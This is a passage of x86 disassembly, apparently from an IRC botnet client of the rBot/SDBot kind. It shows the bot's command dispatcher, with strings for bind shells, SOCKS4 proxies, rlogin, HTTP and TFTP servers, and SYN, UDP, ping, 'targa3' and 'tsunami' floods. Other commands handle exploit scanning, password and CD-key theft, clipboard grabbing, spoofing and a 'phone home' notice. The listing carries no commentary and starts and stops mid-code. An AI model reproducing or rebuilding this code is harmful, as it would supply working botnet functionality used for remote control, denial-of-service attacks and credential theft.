offset asc_42CA2C ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA2C ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C66C loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C644 jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C628 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C60C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C5F8 push offset dword_42C5EC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C5CC push offset dword_42C5BC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5A4 push offset dword_42C598 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C584 push offset dword_42C578 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C55C push offset dword_42C54C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C530 push offset dword_42C520 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C508 push offset dword_42C4FC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5A4 push offset dword_42C598 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C584 push offset dword_42C578 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C4E4 push offset dword_42C4D8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C4CC push offset dword_42C4C0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C530 push offset dword_42C520 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C508 push offset dword_42C4FC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C490 push offset dword_42C480 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C55C push offset dword_42C54C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C44C push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C490 push offset dword_42C480 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C4E4 push offset dword_42C4D8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C4CC push offset dword_42C4C0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C404 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3B4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C390 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C370 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2AC jnz short loc_403191 mov eax, offset unk_42C284 loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1C4 push offset dword_42C1B8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1B4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1A0 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C16C call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C138 push eax mov dword_4CE728, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C090 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C020 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h nop call near ptr 2670000h jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j nop call near ptr 26709C5h push eax push offset unk_42BFE4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_4315EA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4315EA jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431408 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB000 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D128 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h nop call near ptr 2670000h jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j nop call near ptr 26709C5h push eax lea eax, [ebp+var_2C4] push offset unk_42BEE8 push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEB0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BE90 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx nop call near ptr 2660000h loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 2670000h jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej nop call near ptr 26709C5h push eax push offset unk_42BE20 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 push edi call sub_41B779 test eax, eax pop ecx jz short loc_403C43 